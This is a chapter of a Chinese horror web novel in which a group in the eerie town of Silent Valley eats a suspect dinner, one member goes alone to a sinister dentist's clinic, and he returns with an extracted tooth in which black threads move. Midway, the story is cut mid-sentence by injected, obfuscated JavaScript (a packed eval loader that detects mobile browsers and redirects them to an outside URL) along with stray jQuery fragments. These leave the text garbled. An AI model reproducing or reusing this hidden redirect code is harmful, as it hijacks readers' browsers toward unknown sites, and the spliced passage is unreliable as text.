餐厅在一楼后院，是个玻璃阳光房。


    长条餐桌铺着洁白的桌布，摆着七套餐具。烛台点着蜡烛，火光摇曳。窗外天色已暗，玉米地融入夜色，只剩模糊的轮廓。


    老妇人系着围裙，正在上菜。


    第一道：浓汤。乳白色的汤里浮着肉块和蔬菜。


    第二道：主菜。烤肋排，配土豆泥和青豆。


    第三道：甜点。苹果派。


    看起来是标准的美国乡村晚餐。


    但黄羽翎的智齿开始痛。


    疼痛中，她看到——


    汤里的肉块有指甲。


    肋排的骨头形状像指骨。


    苹果派的馅料里混着头发。


    她闭上眼，深呼吸。疼痛缓解，幻象消失。汤还是汤，肋排还是肋排，苹果派散发着肉桂的香气。


    “请用餐。”老妇人站在桌首，微笑，“寂静谷的特产，保证新鲜。”


    “特产是什么？”郑琳达问，用叉子拨弄着肋排。


    “哦，各种肉类。”老妇人笑容不变，“我们有自己的农场。猪、牛、羊……还有一些……特别的品种。”


    她说“特别的品种”时，目光扫过七人。


    周笔灰舀了一勺汤，送到嘴边，停顿，然后喝下。他面不改色：“味道不错。”


    黄羽翎知道他是在测试。如果食物真的有问题，周笔灰会第一个发现，他的观察力最敏锐。


    其他人也陆续开始吃。


    黄羽翎切了一小块肋排，放进嘴里。肉质鲜嫩，调味适中。但咀嚼时，她总觉得有什么地方不对……肉质太嫩了，像婴儿的肉。


    她强迫自己咽下去。


    老妇人满意地看着他们用餐，然后说：“关于今晚的就诊，有些注意事项需要告知各位。”


    所有人都停下刀叉。


    “第一，就诊者必须独自前往。陪同者会被视为‘干扰治疗’，后果自负。”


    “第二，诊所里的一切都属于牙医先生。包括就诊者的牙齿、血液、疼痛，甚至……记忆。”


    “第三，就诊结束后，就诊者会得到一份‘纪念品’——自己的牙齿，装在特制的小盒子里。请务必保管好，那是离开寂静谷的凭证。”


    “第四，如果就诊过程中哭泣、尖叫、或试图反抗，惩罚会加倍。微笑是唯一允许的表情。”


    她说完，环视七人：“还有什么问题吗？”


    “牙医先生……汉克·索耶，是个什么样的人？”叶温缇问。


    老妇人的笑容僵了一瞬，但很快恢复：“索耶先生是寂静谷的镇长，也是我们的守护者。他确保每个人的牙齿健康，确保小镇的……秩序。”


    “那些失踪的人呢？”叶温缇直视她，“报纸上说有七个人失踪了。”


    “他们没有失踪。”老妇人的声音变冷，“他们只是接受了必要的治疗，去了更好的地方。”


    “什么地方？”


    “一个没有疼痛的地方。”老妇人转身走向厨房，“晚餐时间结束。请各位在九点前回到房间。就诊者请准时出发。”


    她消失在门后。


    餐厅里一片寂静。


    窗外的街道上，巡逻的居民越来越多。烛光映在玻璃上，反射出他们模糊的身影，像一群游荡的幽灵。


    “食物有问题吗？”郑琳达小声问顾辉。


    “肉质不对。”顾辉压低声音，“哺乳动物的肌肉纤维有特定纹理。这个……太细腻了。”


    “人肉？”龙琴书脸色发青。


    “不确定。但肯定不是普通的猪牛羊。”


    黄羽翎感到一阵恶心。她捂住嘴，强迫自己不要吐出来。


    朱志明突然站起来：“我还是要去。叶温缇，把通知单给我。”


    “朱志明……”叶温缇想说什么。


    “听我说。”朱志明深吸一口气，声音还是抖，但眼神坚定，“我想过了。如果一定要有人牺牲，应该是我。不是因为我觉得自己没用，而是因为……因为我相信你们。”


    他看向每个人。


    最后他看向黄羽翎：“而你……你是把我们凝聚在一起的人。在之前的鬼屋里，是你用‘母亲’的故事给了大家希望。虽然演技很烂。”


    黄羽翎眼眶一热。


    “所以，”朱志明努力笑了笑，“让我做这件事。让我为团队做点贡献。而且……”


    他摸了摸自己的脸颊：“我的智齿痛得最轻。也许……也许我对疼痛的耐受度比较高。”


    这是真的。


    除了叶温缇没有智齿，朱志明的智齿疼痛确实相对轻微。而黄羽翎、周笔灰、龙琴书的疼痛最剧烈。


    “疼痛程度可能和‘清醒度’有关。”周笔灰若有所思，“越能看透这个小镇真相的人，牙痛越厉害。朱志明你……你比较单纯，所以受影响小。”


    “那就更该我去了。”朱志明说，“如果疼痛是惩罚，那我受的惩罚最轻。这不公平。我应该去承受更多。”


    他说“不公平”的时候，表情很认真。


    龙琴书突然笑了，笑声里带着哽咽：“朱志明，你真是个傻子。”


    “嗯。”朱志明点头，“但傻子有傻子的用处。”


    叶温缇沉默了很久，最终从口袋里掏出通知单，递给朱志明。


    “活着回来。”她说。


    “我会的。”朱志明接过通知单，折叠好，放进衬衫口袋，“我还要看你们通关呢。”


    当天晚上八点五十分。


    七人聚在201房间。窗户关着，窗帘拉紧，但依然能听到街上传来的声音——脚步声、金属拖地的声音、低沉的哼唱声。


    居民们在等待。


    等待九点的钟声，等待就诊者的出现，等待……鲜血。


    朱志明已经准备好了。他换了件干净的衬衫，把头发梳整齐，甚至还洗了脸。看起来像是要去参加重要的约会，而不是去接受酷刑。


    “记住，”周笔灰最后一次叮嘱，“保持微笑。不要哭，不要叫。疼痛的时候，数数。数到一百，再从头开始。分散注意力。”


    朱志明点头：“数数。我记住了。”


    “还有，”黄羽翎抓住他的手，“如果……如果太痛了，就想想我们。想想我们还在等你。”


    朱志明的手在抖，但他握紧了黄羽翎的手：“我会的。”


    郑琳达从背包里翻出一个小东西，塞进朱志明手里。是一颗水果糖，用彩色糖纸包着。


    她说，“痛的时候吃糖，能好受点。”


    龙琴书给了他一枚硬币：“握在手里。用力握。疼痛的时候，把注意力转移到握力上。”


    顾辉没说话，只是拍了拍他的肩膀。


    叶温缇最后开口：“观察。尽可能观察诊所里的一切。汉克·索耶的长相、诊所的布局、有没有特别的东西。”


    “好。”朱志明把糖和硬币放进裤袋，“我会仔细观察。”


    教堂的钟声响起。


    当——当——当——


    九点了。


    街上的声音突然停止。所有的脚步声、拖拽声、哼唱声，都消失了。死一般的寂静。


    然后，旅馆楼下传来老妇人的声音：


    “就诊时间到。203-B，请出发。”


    朱志明深吸一口气，走向门口。


    “等等。”黄羽翎突然叫住他。


    她走上前，踮起脚尖，在朱志明脸颊上轻轻吻了一下。


    “平安回来。”她轻声说。


    朱志明的脸红了，眼睛也红了。他用力点头，然后转身，拉开门，走了出去。


    门关上。


    走廊里传来他下楼的脚步声，一步一步，坚定而孤独。


    周笔灰走到窗边，掀开窗帘一角。


    街道上，居民们自动让开一条路。朱志明从旅馆走出，走向主街。两旁的人盯着他看，脸上戴着微笑，手里握着工具。


    像一场沉默的送葬。


    朱志明没有回头。他挺直脊背，朝着33号的方向走去。


    黄羽翎也凑到窗边。她的智齿在剧烈疼痛，疼痛中，她看到——


    街道上的居民没有脸。微笑面具下是空洞的黑暗。


    朱志明的影子被拉得很长，但影子的头部位置，开着一朵小红花。


    远处，索耶牙医诊所的窗户透出昏黄的灯光。窗户上贴着一个巨大的牙齿图案，像某种邪教的图腾。


    钟声又响了一声。


    九点零五分。


    朱志明走到诊所门口，抬手敲门。


    门开了。一个高大的身影出现在门口，背光，看不清脸，只能看到轮廓——宽阔的肩膀，微微佝偻的背，手里拿着什么东西。


    是钳子。


    朱志明走了进去。


    门关上。


    灯光在窗户上投下晃动的影子：一个人影被按在椅子上，另一个高大的人影俯身，举起工具——


    黄羽翎闭上眼。


    她听到自己的心跳，听到同伴的呼吸，听到窗外风吹过玉米地的沙沙声。


    然后，一声压抑的、从喉咙深处挤出来的闷哼，隐约从诊所方向传来。


    很短促。很快被掐断。


    像一只被踩住脖子的鸟。


    寂静重新降临。


    街道上的居民开始散去，像完成任务的机器，各自回家。微笑还挂在脸上，工具拖在身后，在石板路上划出刺耳的声音。


    周笔灰放下窗帘。


    房间里没有人说话。


    时间一分一秒过去。


    九点二十。


    九点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378749|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    三十。


    九点四十。


    黄羽翎坐在床边，双手紧握，指甲陷进掌心。疼痛从智齿蔓延到整个下颌，再到太阳穴，像有电钻在头骨里钻洞。


    但她希望这疼痛更剧烈些。


    因为疼痛意味着清醒，清醒意味着朱志明还活着，还在承受，还在……坚持。


    九点五十分。


    走廊里传来脚步声。


    缓慢、拖沓、一步一停的脚步声。


    七人同时站起来。


    脚步声停在201门口。


    敲门声。很轻，像怕惊动什么。


    周笔灰拉开门。


    朱志明站在门外。


    他还活着。


    但几乎认不出来了。


    脸色惨白如纸，嘴唇被咬破了，血迹干涸在嘴角。右脸颊肿得老高，皮肤发紫。他的眼睛是睁着的，但眼神涣散，没有焦点。


    最可怕的是他的嘴。


    他紧紧闭着嘴，但鲜血还是从嘴角渗出来，滴在衬衫前襟，染红了一大片。


    “朱志明……”黄羽翎的声音在抖。


    朱志明看着她，努力想笑，但嘴角刚动，就疼得抽搐。他抬起手，手里握着一个小木盒。


    木盒很精致，雕着花纹，盖子上刻着一行字：


    第一颗智齿


    所有者：朱志明


    日期：1973.7.14


    疼痛等级：7


    周笔灰扶住他，让他坐在床上。朱志明浑身都在抖，像发高烧打摆子。


    “水……”龙琴书赶紧倒水。


    朱志明摇头，指了指自己的嘴，然后做了个吞咽的动作——他不能喝水，不能张嘴。


    叶温缇检查他的伤势。右脸颊肿得发亮，皮肤下有大片淤血。她轻轻碰了碰，朱志明猛地一颤，眼泪瞬间涌出，但他死死咬着牙，没发出声音。


    “需要冰敷。”叶温缇说，“减少肿胀。”


    郑琳达跑下楼，很快端着一盆冰水和毛巾回来。叶温缇用毛巾包了冰，轻轻敷在朱志明脸上。


    朱志明闭上眼睛，身体慢慢放松，但颤抖没有停止。


    过了很久，他才稍微缓过来，睁开眼睛。


    他看向周笔灰，用眼神示意：有话说。


    周笔灰拿出纸笔。


    朱志明接过，手抖得厉害，字写得歪歪扭扭，但还能辨认：


    汉克·索耶


    很高，两米以上


    戴口罩，但眼睛……很悲伤


    诊所里有很多牙齿，墙上，天花板上


    还有照片，失踪者的照片


    他拔牙的时候……在哭


    并且嘴里一直小声说：对不起，对不起


    还有……


    写到这里，朱志明停顿，呼吸急促。


    拔下来的牙齿


    里面……有东西


    黑色的，像虫子


    在动


    他写完最后几个字，笔掉在地上，人向后倒去。


    周笔灰接住他。


    朱志明已经昏过去了。


    “让他休息。”顾辉说，“失血加上剧痛，休克是正常的。”


    他们把朱志明平放在床上，盖好被子。他的眉头紧皱，即使在昏迷中，身体也时不时抽搐一下。


    黄羽翎拿起那个木盒，打开。


    里面铺着红色绒布，中央凹陷处，放着一颗智齿。


    人类的右下智齿，牙根完整，带着血丝。牙齿表面是正常的牙釉质白色，但仔细看，牙根深处……确实有东西。


    黑色的，细如发丝，在牙齿的髓腔里微微蠕动。


    像活物。


    周笔灰用镊子小心夹起牙齿，对着灯光看。


    那些黑色细丝对光有反应，缩了一下，然后继续蠕动。


    “这是什么？”郑琳达声音发颤。


    “不知道。”周笔灰把牙齿放回盒子，“但肯定不是正常的牙齿结构。”


    龙琴书拿起朱志明写的纸条，又看了一遍：“汉克·索耶在哭？说对不起？”


    “他可能不是自愿的。”叶温缇分析，“如果他也被控制了，像之前的郑楚文一样……”


    “小红花。”黄羽翎指着木盒盖子内侧。


    那里用极细的笔触画着一朵五瓣小花，和通知单上的印章一模一样。


    窗外，教堂钟声又响了。


    十点。


    寂静谷的夜晚正式降临。


    远处牙医诊所的灯光还亮着。窗户上，那个高大的人影依然站在那里，一动不动，像一尊守望的雕像。


    而在更深的黑暗里，玉米地深处，有什么东西在移动。


    缓慢的、沉重的脚步声。


    还有拖拽重物的声音。


    以及……低低的、压抑的哭泣声。